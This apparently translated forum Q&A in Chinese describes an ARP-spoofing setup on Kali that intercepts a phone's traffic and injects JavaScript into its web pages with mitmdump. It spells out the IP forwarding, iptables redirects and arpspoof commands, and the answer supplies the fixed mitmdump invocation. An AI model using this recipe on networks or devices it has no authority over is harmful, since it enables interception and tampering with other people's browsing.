我正在尝试使用 ARPspoof 设置拦截来自手机的流量,并将 javascript 标头注入到页面中。
在开始之前,我输入了以下命令:
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o wlan0 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
为了拦截流量,我输入了以下命令:
sudo arpspoof -i wlan0 -t <phone_ip_here> <router_ip_here>
sudo arpspoof -i wlan0 -t <router_ip_here> <phone_ip_here>
我启动了一个 Web 服务器来部署将嵌入到手机接收到的每个网页中的 javascript 文件
该 Web 服务器将托管在 Kali 计算机的 IP 端口 8000 上
sudo python3 httpServer.py
最后,当我运行 mitmdump 时,出现此错误:
mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'
错误信息:
/usr/bin/mitmdump: No such script
我不确定我做错了什么,如果我使用以下命令执行 mitmproxy:
mitmproxy -p 8080
流量确实被路由到 mitmproxy 但是,我在手机浏览器上收到 400 Bad Request 错误,并且 mitmproxy 返回 http 协议错误。
任何帮助或建议都将受到热烈欢迎。
答案1
mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'
密切注意单引号。 mitmdump 的选项-s
指定要运行的脚本的名称。在这里,您有效地告诉计算机脚本的名称是
injector.py<space>http://<kali_computer_ip>:8000/script.js
由于文件名injector.py
中没有任何特殊字符,因此不需要用引号引起来。另一方面,如果 URL 包含问号或其他对 shell 有特殊含义的字符,则可能需要加引号。因此,假设位于injector.py
执行此命令的当前目录中,我认为这可能会执行您想要的操作:
mitmdump -s injector.py 'http://<kali_computer_ip>:8000/script.js'